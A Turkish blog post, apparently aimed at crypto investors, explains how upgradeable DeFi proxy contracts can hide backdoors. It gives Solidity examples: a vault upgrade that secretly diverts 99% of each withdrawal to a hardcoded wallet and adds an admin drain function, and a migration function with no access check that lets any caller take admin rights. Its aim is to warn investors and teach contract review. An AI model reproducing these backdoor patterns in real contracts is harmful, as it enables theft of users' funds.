Stablecoin’lerinizi stake ettiğiniz DeFi protokollerinin %90’ında arkaya gizlenmiş yasal bir arka kapı (backdoor) var. Bu mekanizmanın adı Upgradeability, yani yükseltilebilirlik. Güya kod optimizasyonu yapmak ve gas ücretlerini düşürmek için tasarlanmış iyi niyetli bir şey gibi pazarlanıyor. Ama madalyonun diğer yüzü hiç de öyle değil. Adminler tek tıkla çalışan akıllı sözleşmenin kodunu değiştirip sistemi scam bir versiyona dönüştürebilir. Sonra da içerideki tüm likiditeyi son centine kadar hortumlayabilirler.
Dün gece Base ağındaki yeni bir fork’u inceliyordum. Sabaha karşı üçe kadar bilgisayar başındaydım. Önce yorgunluktan yanlış gördüğümü sandım ama durum netti. Proxy sözleşmesine bildiğiniz saatli bomba (timebomb) yerleştirmişler. İşin acı tarafı, projenin denetim raporu (audit) bile var. Sektörün en bilinen firmalarından biri onaylayıp süslü bir PDF vermiş. Gelin, bu tezgahın mimarisini birlikte çözelim.
Mimarideki Tuzak: Proxy Sözleşmeleri Nasıl Çalışır?
Sıradan bir yatırımcı için akıllı sözleşme tek parçadan ibarettir. Ağda yayınlarsın ve biter. Ancak kodun güncellenebilir olmasını istiyorsanız mimariyi ikiye bölmeniz gerekir: Proxy ve Mantık (Implementation). Kullanıcı her zaman Proxy sözleşmesiyle etkileşime girer. Proxy’nin kendi içinde hiçbir iş mantığı yoktur, tamamen boş bir kutu gibidir. Gelen tüm çağrıları doğrudan delegatecall ile mantık sözleşmesine yönlendirir.
İşte asıl tehlike tam burada başlıyor. delegatecall, Solidity dünyasındaki en riskli fonksiyondur. Hedef sözleşmedeki (Implementation) kodu çalıştırır ama verileri Proxy’nin kendi hafızasında (storage) tutar. Yani değişkenler Proxy içinde saklanır, kod ise dışarıdan çağrılır. Kurucu ortak veya admin, Proxy içindeki Implementation adresini değiştirdiği an protokol güncellenmiş olur. Ya da tüm fonlar sıfırlanır.
Güvenlik Diye Pazarlanan Popüler Tasarım Kalıpları:
- UUPS (UUPSUpgradeable): Mantık sözleşmesinin adresi, doğrudan mantık kodunun kendi içindeki bir slotta tutulur. Eğer admin yanlışlıkla UUPS miras almayan hatalı bir kod yayınlarsa sözleşme tamamen kilitlenir. Geri dönüşü yoktur. İçerideki tüm para sonsuza dek kilitli kalır. Tam bir ironi.
- Transparent Proxy Pattern (TPP): Burada güncelleme yetkisi
ProxyAdminadındaki özel bir sözleşmeye devredilir. Yetkiler net ayrılmıştır: Kullanıcılar iş mantığını tetikler, admin ise sadece güncellemeleri yönetir. Kağıt üstünde daha güvenli duruyor. Fakat fallback seviyesinde süreklimsg.senderkontrolü yapıldığı için deli gibi gas harcar. - Beacon Proxy: Tek bir işaretçi sözleşme (Beacon), aynı tipteki yüzlerce proxy için mantık adresini barındırır. Büyük NFT koleksiyonları veya likidite havuzları için çok pratiktir. Beacon üzerindeki adresi değiştirdiğiniz an binlerce sözleşmeyi tek seferde güncellersiniz. Tabii bu durum hacker’ların da iştahını kabartıyor. Tek bir açık, tüm havuz ağının çökmesi demektir.
Backdoor Anatomisi: Parayı Nasıl Çalıyorlar?
Fonları çalmak için çok karmaşık exploit’lere gerek yok. Adminin yeni kod versiyonuna tek bir satır eklemesi yeterlidir.
Şimdi gerçek koda göz atalım. İlk bakışta tamamen dürüst görünen ama tek bir hamleyle dolandırıcılık aracına dönüşen klasik bir havuz örneği hazırladım.
Aşama 1: Temiz Sözleşme (Implementation_V1.sol)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
// Klasik havuz sözleşmesi. Millet parayı yatırıp getiri bekliyor.
contract VaultV1 is Initializable {
address public admin;
mapping(address => uint256) public balances;
uint256 public totalFunds;
// Constructor yerine initializer var. Tetiklemeyi unutursan sözleşmeyi başkası kapar.
function initialize() public initializer {
admin = msg.sender; // Deploy eden adres ya da inşallah multisig cüzdandır.
}
function deposit() external payable {
require(msg.value > 0, "Zero funds");
balances[msg.sender] += msg.value;
totalFunds += msg.value;
}
// Şimdilik temiz çekim işlemi. Gizli komisyon falan yok.
function withdraw(uint256 _amount) external {
require(balances[msg.sender] >= _amount, "Low balance");
balances[msg.sender] -= _amount;
totalFunds -= _amount;
payable(msg.sender).transfer(_amount);
}
}Her şey temiz görünüyor. Auditor’lar raporu onaylıyor. Protokol canlıya alınıyor, TVL büyüyor ve topluluk kanallarında herkes mutlu.
Aşama 2: Gece Yarısı Güncellemesi (Implementation_V2.sol)
Aradan bir ay geçiyor ve havuzda 5000 ETH birikiyor. Admin (veya private key’i çaldıran geliştirici) hemen ikinci versiyonu deploy ediyor. Proxy üzerindeki upgradeTo() fonksiyonunu çağırıp yeni adresi sisteme gömüyor.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract VaultV2 is Initializable {
// ÖNEMLİ: Storage layout V1 ile birebir aynı olmalı.
// Değişken sırası kayarsa mapping'ler patlar, ortalık karışır.
address public admin;
mapping(address => uint256) public balances;
uint256 public totalFunds;
address public constant shadowWallet = 0x9965507B1a05951961A0175f653429f1c08afde6; // Off-shore cüzdan
// İnitializer'ın tekrar çalışmasını engellemek için boş bırakıldı
function initialize() public initializer {}
function deposit() external payable {
balances[msg.sender] += msg.value;
totalFunds += msg.value;
}
// Beklenen backdoor burada. Sıradan kullanıcı bunu asla fark etmez.
function withdraw(uint256 _amount) external {
// Görünüşte her şey yasal ama...
require(balances[msg.sender] >= _amount, "Low balance");
// Gizli vergi kesintisi. Paranın %99'unu çaktırmadan shadowWallet'a paslıyoruz.
// Neden %100 değil? İşlem hata verip patlamasın, kullanıcı arayüz kastı zannetsin diye.
uint256 tax = (_amount * 99) / 100;
uint256 userShare = _amount - tax;
balances[msg.sender] -= _amount;
totalFunds -= _amount;
payable(shadowWallet).transfer(tax);
payable(msg.sender).transfer(userShare);
}
// Bu da doğrudan "parayı al ve kaç" butonu
function emergencyDrain() external {
require(msg.sender == admin, "Not an admin");
// Kasadaki her şeyi süpürüyoruz. Likiditeye elveda.
payable(shadowWallet).transfer(address(this).balance);
}
}Kullanıcı siteye girip "Withdraw" butonuna basıyor ve işlemi cüzdanından onaylıyor. Ekranda onay animasyonu dönerken cüzdana sadece hakkı olan paranın %1’i düşüyor. Kalan çoktan uçtu. Telegram grubunda sesinizi yükseltmeye çalıştığınız an moderatörler mesajları silip sizi banlıyor. Klasik exit scam senaryosu.
Hafıza Slotu Çakışması: En Sinsi Gizli Backdoor
Bazen adminlerin iz bırakmamak için emergencyDrain() gibi bariz kodlar yazmasına bile gerek kalmaz. Çok daha profesyonel bir yöntem var: Hafıza Slotu Çakışması (Storage Slot Collision).
EVM üzerinde değişken isimleri okunmaz. Sadece verilerin sırayla yazıldığı slotlar (0 ile 2256-1 arası) vardır. Yeni versiyonda değişkenlerin tanımlama sırasını bilerek değiştirirseniz, sıradan bir userLimit değişkenine yazılan veri, doğrudan admin adresinin üstüne yazılabilir.
Geçmişte tam olarak böyle bir sözleşmeye denk gelmiştim. Güncelleme sırasında owner değişkeninin hemen önüne küçük bir bool tipi eklemişlerdi. Bu yüzden tüm slotlar bir sıra kaydı. Kendi ayarlarını güncellemek isteyen herhangi bir kullanıcı, kodun kaymasından dolayı otomatik olarak sözleşmenin sahibi (owner) haline geliyordu. Geliştiriciler bunun kazara olduğunu iddia etti. Tabii yerseniz. Havuz, olaydan iki gün önce Tornado Cash kullanan bir cüzdan tarafından tamamen boşaltıldı. Kesin tesadüftür.
Paranoyak Kontrol Listesi: Likidite Olmaktan Nasıl Kurtulursunuz?
Etherscan’deki yeşil "Verified" rozetine güvenecek kadar saf olmayın. O rozet sadece proxy sözleşmesinin kodunun temiz olduğunu gösterir. Analizi daha derin katmanlarda yapmanız şart.
Eğer bir protokole ciddi bir miktar sermaye bağlayacaksanız, kontrol etmeniz gereken kırmızı çizgileri bir araya getirdim:
| Sözleşme Parametresi | Güvenli Senaryo | Riskli Durum (Kırmızı Bayrak) | Tarayıcıda (Explorer) Nasıl Bakılır? |
|---|---|---|---|
| Sözleşme Tipi | Değiştirilemez (Immutable) | Proxy (UUPS / Transparent) | Contract sekmesinde "Read as Proxy" veya "Write as Proxy" butonları görünür. |
| Yönetim Yapısı (Admin) | Multisig (Gnosis Safe 3/5) + Timelock | EOA (Tek bir kişiye ait normal cüzdan) | Admin veya owner slotundaki adresi aratın. Eğer adreste akıllı sözleşme kodu yoksa proje tek bir kişinin insafına kalmıştır. Key çalınırsa geçmiş olsun. |
| Timelock (Zaman Kilidi) | 48 saat ile 7 gün arası | Hiç yok veya 0 olarak ayarlanmış | Güncelleme çağrılarının bir timelock sözleşmesinden geçip geçmediğini inceleyin. Admin tek tıkla anında upgradeTo çalıştırabiliyorsa uzak durun. |
| Implementation Slotu | EIP-1967 standardına göre hash'lenmiş | Özel tanımlanmış gizli slot | Etherscan üzerindeki "State" sekmesinden güncelleme geçmişini ve storage taşıma işlemlerini takip edin. |
Timelock'lar, kerizlerin (bireysel yatırımcıların) güvende hissetmek için dua ettiği koca bir illüzyondan ibaret. Geliştiriciler Discord'da kasım kasım kasılıp "Beyler rahat olun, 48 saatlik timelock var! Sürpriz güncellemelere geçit yok!" diye hava atarlar.
Kulağa çok hoş geliyor değil mi? Güya adminin güncelleme işlemini sıraya koyması için iki günü var. Sizin de ters giden bir şeyler olduğunu çakıp, ortalığı ayağa kaldırmak ve paranızı kurtarmak için 48 saatiniz var. Ama asıl gerçek ne? Kimsenin umurunda değilsiniz.
Aranızdan kim mempool'u veya timelock event'lerini 7/24 izliyor? Hiç kimse. Uyuyorsunuz, çalışıyorsunuz ya da kahve içip takılıyorsunuz. Hacker veya dolandırıcı admin, upgrade işlemini cuma gecesi sıraya sokuyor. Pazar gecesi timelock süresi doluyor ve kod çaktırmadan değiştiriliyor. Pazartesi sabahı bir uyanıyorsunuz; cüzdan sıfırlanmış, elinizde sadece bomboş düşünceler kalmış. Bu zaman tamponu, yalnızca Defender Sentinel veya Tenderly gibi platformlardan otomatik alert kurduysanız ve acil çekim (panic withdraw) yapan bir botunuz varsa işe yarar. Bot yoksa, paranızın kesim sırasındaki kurbanlık gibi uçup gitmesini sadece izlersiniz.
Şimdi gelelim standart audit raporlarında neredeyse hiç bahsedilmeyen, arkada dönen o meşhur karanlık işlere.
Mimari Mayınlar: Gizli İnisyalizasyon Metotları
Normal bir akıllı sözleşme deploy edildiğinde constructor tetiklenir. Bu fonksiyon sadece bir kez çalışır, gerekli değişkenleri storage'a yazar ve yok olur. Proxy mimarisinde ise implementation sözleşmesinin constructor'ı, proxy'nin kendi storage'ına dokunamaz. İşte bu yüzden yukarıda bahsettiğimiz initialize gibi initializer (başlatıcı) fonksiyonlar kullanılır.
Ve tam bu noktada arka kapı (backdoor) mühendisliğinin şov kısmı başlıyor. Ya admin arkada ikinci bir inisyalizasyon fonksiyonu bıraktıysa? Ya da gözden kaçacak bir re-initialization metodu gömdüyse?
Bakın, OpenZeppelin içinde reinitializer(uint8 version) modifier'ı bulunur. Bu modifier, V2 sürümüne upgrade edilirken yeni değişkenleri initialize etmek için kullanılır. Ancak geliştirici kendi bildiği yöntemi yazar ya da "yanlışlıkla" bu yeniden yapılandırma fonksiyonunu korumayı unutursa, önüne gelen herhangi biri en kritik değişkenlerin üzerine yazabilir (overwrite).
Zafiyet barındıran (veya kasıtlı olarak bırakılan) bir migrasyon kodu örneği:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract VaultV3 is Initializable {
address public admin;
mapping(address => uint256) public balances;
uint256 public totalFunds;
// V3 için yeni değişkenler
bool public isPaused;
address public trustedRecoveryAddress;
// Sözde upgrade için koyulan reinitializer.
// Ama şu satıra bir bakın. Hatayı çaktınız mı?
function upgradeConfig(address _recovery) external {
// require(msg.sender == admin, "Not admin"); kontrolü unutulmuş (!)
// Ya da buraya inisyalizasyon durumunu sıfırlayan bir mantık gömülmüş
trustedRecoveryAddress = _recovery;
// Kendine küçük bir kıyak:
admin = msg.sender; // Güm! Herhangi biri fonksiyonu tetikleyip admin yetkilerini kapabilir
}
}"Hadi canım, bu kadar salakça bir bug'ı denetçiler kesin görür" diyebilirsiniz. Hadi oradan. Bunu karmaşık matematiksel formüllerin arkasına ya da deploy sırasında import edilen alakasız, unverified harici kütüphanelerin içine gizliyorlar. Sonuçta fonksiyon dışarıdan masum bir getiri (yield) hesaplaması gibi görünüyor, ama içeride admin slotunun üzerine yazma (overwrite) işlemi dönüyor.
Doğrudan Slot Okuma: Kod Doğrulaması Olmadan İçeriği Görme
Adminler sizi dolandırmaya niyetlendiyse, gidip de arka kapı kodunu Etherscan'de doğrulatıp açık etmezler. Implementation sözleşmesini kaynak kodu doğrulaması yapmadan direkt deploy ederler. Explorer'da sadece anlamsız bir bytecode yığını görürsünüz. Korkutucu mu? Kesinlikle.
Proxy'nin şu an tam olarak nereyi işaret ettiğini anlamak için doğrudan en köke, yani bellek slotlarına (storage slots) bakmayı öğrenmeniz gerekiyor. EIP-1967 standartlarına göre, storage çakışmalarını önlemek için mantık (logic) adresi her zaman kesin olarak belirlenmiş spesifik bir slotta tutulmalıdır.
Implementation slot adresi (EIP-1967):bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
Bu işlemin hash sonucu şudur: 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
Eğer eth_getStorageAt fonksiyonunu kullanmayı biliyorsanız, sözleşmenin doğrulanıp doğrulanmadığı umurunuzda bile olmaz. Proxy adresini alır, bu slotu sorgular ve aktif durumdaki logic sözleşmesinin saf hex adresini çekersiniz. Eğer bu adres sizden habersiz değiştiyse, arkanıza bakmadan paranızı çekin.
# Orada gerçekten neyin gömülü olduğunu kontrol etmek için RPC (curl) istek örneği
curl https://mainnet.infura.io/v3/YOUR_KEY \
-X POST \
-H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["0xProxyContractAddress", "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", "latest"],"id":1}'Gelen yanıt size 32 byte veri döndürür. Buradaki son 20 byte, tam şu saniyede paranızı yöneten sözleşmenin gerçek adresidir. Projenin o cafcaflı frontend arayüzünde ne yazıyorsa unutun; delegatecall işlemini asıl çalıştıracak olan adres tam olarak budur.
Özetle
Unutmayın: Upgradeability (yükseltilebilirlik) her zaman geliştiricinin esnekliği ile yatırımcının güvenliği arasında bir ödündür. Bir proje milyar dolarlık TVL (Total Value Locked) diye bas bas bağırıyor ama timelock olmadan 2/3 multisig bir proxy üzerinde çalışıyorsa, o milyar dolar yatırımcılara ait değildir. Sadece anahtarları elinde tutan o üç kişiye aittir. Ya da onları oltalama (phishing) yöntemiyle avlayacak tek bir hackera bakar.
Eğer bir sözleşme güncellenebiliyorsa, koda değil doğrudan insanlara güveniyorsunuz demektir. Kripto tarihi ise, bol sıfırlı rakamları gören insanların ne kadar kolay satılabileceğini, şantaja uğrayabileceğini ya da delirebileceğini defalarca kanıtladı.